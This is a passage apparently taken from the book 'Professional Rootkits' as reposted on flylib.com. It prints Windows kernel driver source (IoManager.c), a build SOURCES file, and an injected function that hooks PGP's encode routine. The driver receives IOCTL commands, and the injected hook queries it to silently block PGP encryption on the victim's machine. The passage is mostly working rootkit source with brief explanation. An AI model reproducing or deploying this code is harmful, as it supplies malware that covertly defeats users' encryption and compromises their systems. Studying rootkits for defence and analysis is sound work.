IoManager.c


The file IoManager.c was added to process the I/O commands requested in DriverEntry; specifically, IRP_MJ_CREATE, IRP_MJ_CLOSE, and IRP_MJ_DEVICE_CONTROL. In this iteration of the IoManager.c, only IRP_MJ_DEVICE_CONTROL is processed; IRP_MJ_CREATE and IRP_MJ_CLOSE were only added to demonstrate how unhandled I/O should be processed:

  // IoManager // Copyright Ric Vieler, 2006 // Process remote IO #include "ntddk.h" #include "Ghost.h" #include "IoManager.h" extern BOOL allowEncryption; // Process commands from external applications NTSTATUS  OnDeviceControl( PFILE_OBJECT FileObject, BOOLEAN Wait,  PVOID InputBuffer, ULONG InputBufferLength,  PVOID OutputBuffer, ULONG OutputBufferLength,  ULONG IoControlCode, PIO_STATUS_BLOCK IoStatus,  PDEVICE_OBJECT DeviceObject ) {  GHOST_IOCTLDATA* pControlData;  IoStatus->Status      = STATUS_SUCCESS;  IoStatus->Information = 0;  switch ( IoControlCode )  {   case GHOST_ON_OFF_COMMAND:    if(InputBufferLength >= sizeof(GHOST_IOCTLDATA))    {     pControlData = (GHOST_IOCTLDATA*)InputBuffer;     if(pControlData->command == GHOST_ON)     {      // block PGP encryption      allowEncryption = FALSE;      DbgPrint (("comint32: blocking encryption"));     }     else     {      // allow PGP encryption      allowEncryption = TRUE;      DbgPrint (("comint32: allowing encryption"));     }    }    return IoStatus->Status;   case GHOST_STATUS_COMMAND:    if(OutputBufferLength >= sizeof(GHOST_IOCTLDATA))    {     pControlData = (GHOST_IOCTLDATA*)OutputBuffer;     if(allowEncryption == TRUE)      pControlData->command = GHOST_OFF;     else      pControlData->command = GHOST_ON;    }    IoStatus->Information = sizeof(GHOST_IOCTLDATA);    return IoStatus->Status;   default:    IoStatus->Information = 0;    IoStatus->Status = STATUS_NOT_SUPPORTED;    return IoStatus->Status;  }  return STATUS_SUCCESS; } // Process IRP_MJ_CREATE, IRP_MJ_CLOSE and IRP_MJ_DEVICE_CONTROL NTSTATUS OnDispatch( PDEVICE_OBJECT DeviceObject, PIRP Irp ) {  PIO_STACK_LOCATION irpStack;  PVOID inputBuffer;  PVOID outputBuffer;  ULONG inputBufferLength;  ULONG outputBufferLength;  ULONG ioControlCode;  NTSTATUS status;  // go ahead and set the request up as successful  Irp->IoStatus.Status    = STATUS_SUCCESS;  Irp->IoStatus.Information = 0;  // Get the IRP stack  irpStack = IoGetCurrentIrpStackLocation (Irp);  // Get the buffers  inputBuffer = Irp->AssociatedIrp.SystemBuffer;  inputBufferLength = irpStack->Parameters.DeviceIoControl.InputBufferLength;  outputBuffer = Irp->AssociatedIrp.SystemBuffer;  outputBufferLength = irpStack->Parameters.DeviceIoControl.OutputBufferLength;  // Get the control code  ioControlCode = irpStack->Parameters.DeviceIoControl.IoControlCode;  switch (irpStack->MajorFunction)  {   case IRP_MJ_DEVICE_CONTROL:    status = OnDeviceControl( irpStack->FileObject, TRUE,      inputBuffer, inputBufferLength,      outputBuffer, outputBufferLength,      ioControlCode, &Irp->IoStatus, DeviceObject );    break;  }  IoCompleteRequest( Irp, IO_NO_INCREMENT );  return status; } 

OnDispatch processes device I/O and passes device control commands to OnDeviceControl. OnDeviceControl processes GHOST_ON_OFF_COMMAND and GHOST_STATUS_COMMAND commands and returns STATUS_NOT_SUPPORTED for everything else. GHOST_ON_OFF_COMMAND has already been explained. GHOST_STATUS_COMMAND is the command that will be sent from the injected pre-encryption function to determine whether PGP encoding should be blocked.

SOURCES

As with all new files added to our rootkit, IoManager.c has been added to SOURCES.

  TARGETNAME=comint32 TARGETPATH=OBJ TARGETTYPE=DRIVER SOURCES=Ghost.c\  fileManager.c\  IoManager.c\  hookManager.c\  configManager.c 

Finally, here’s the code added to the injected function, beforeEncode in injectManager.c:

  DWORD beforeEncode( PDWORD stack, DWORD* callbackReturn, IN_PROCESS_DATA* pCallData ) { void* contextPtr = (void*)stack[1]; PGPOptionList* optionListPtr = (PGPOptionList*)stack[2]; DWORD dwRet = (DWORD)TRUE; int index; int inputType = 0; void* lpBuffer; DWORD dwInBufferLen = 0; PGPOption* currentOption = optionListPtr->options; PFLFileSpec* fileSpec; HANDLE deviceHandle; GHOST_IOCTLDATA control = { 0 }; ULONG status = 0; // Look at the options in the option list for( index = 0; index < optionListPtr->numOptions; index++) {  if( currentOption->type == 1 )  {   // File Input   inputType = 1;   fileSpec = (PFLFileSpec*)currentOption->value;   lpBuffer = fileSpec->data;   dwInBufferLen = (DWORD)pCallData->plstrlenA((LPCSTR)(lpBuffer));   break;  }  else if( currentOption->type == 2 )  {   // Buffer Input   inputType = 2;   lpBuffer = (void*)currentOption->value;   dwInBufferLen = (DWORD)currentOption->valueSize;   break;  }  currentOption++; } // Process buffer or file before encryption if(( inputType == 1 || inputType == 2 ) && ( dwInBufferLen > 0 )) {  deviceHandle = pCallData->pCreateFileA( pCallData->deviceString,   GENERIC_READ | GENERIC_WRITE,   0,   NULL,   OPEN_EXISTING,   FILE_ATTRIBUTE_NORMAL,   NULL);  if (deviceHandle != INVALID_HANDLE_VALUE)  {   if( pCallData->pDeviceIoControl( deviceHandle,    GHOST_STATUS_COMMAND,    &control,    sizeof(control), // input    (PVOID)&control,    sizeof(control), // output    &status,     NULL ) )    {     if(control.command == GHOST_ON)     {      // blocking encryption      dwRet = (DWORD)FALSE;      *callbackReturn = PGP_BAD_API;      pCallData->pOutputDebugStringA(pCallData->denyString);     }     else     {      pCallData->pOutputDebugStringA(pCallData->allowString);     }    }    pCallData->pCloseHandle(deviceHandle);   }  }  return dwRet; } 

The additions to beforeEncode should look familiar because the code is very similar to that developed in Controller.c. The only differences are the command sent to the device controller and the changes resulting from the fact that the code is being executed from within an injected function.




Professional Rootkits
Professional Rootkits (Programmer to Programmer)
ISBN: 0470101547
EAN: 2147483647
Year: 2007
Pages: 229
Authors: Ric Vieler

Similar book on Amazon
Rootkits: Subverting the Windows Kernel
Rootkits: Subverting the Windows Kernel
A Guide to Kernel Exploitation: Attacking the Core
A Guide to Kernel Exploitation: Attacking the Core
Reversing: Secrets of Reverse Engineering
Reversing: Secrets of Reverse Engineering
Malware Analyst's Cookbook and DVD: Tools and Techniques for Fighting Malicious Code
Malware Analyst's Cookbook and DVD: Tools and Techniques for Fighting Malicious Code

flylib.com © 2008-2017.
If you may any questions please contact us: flylib@qtcs.net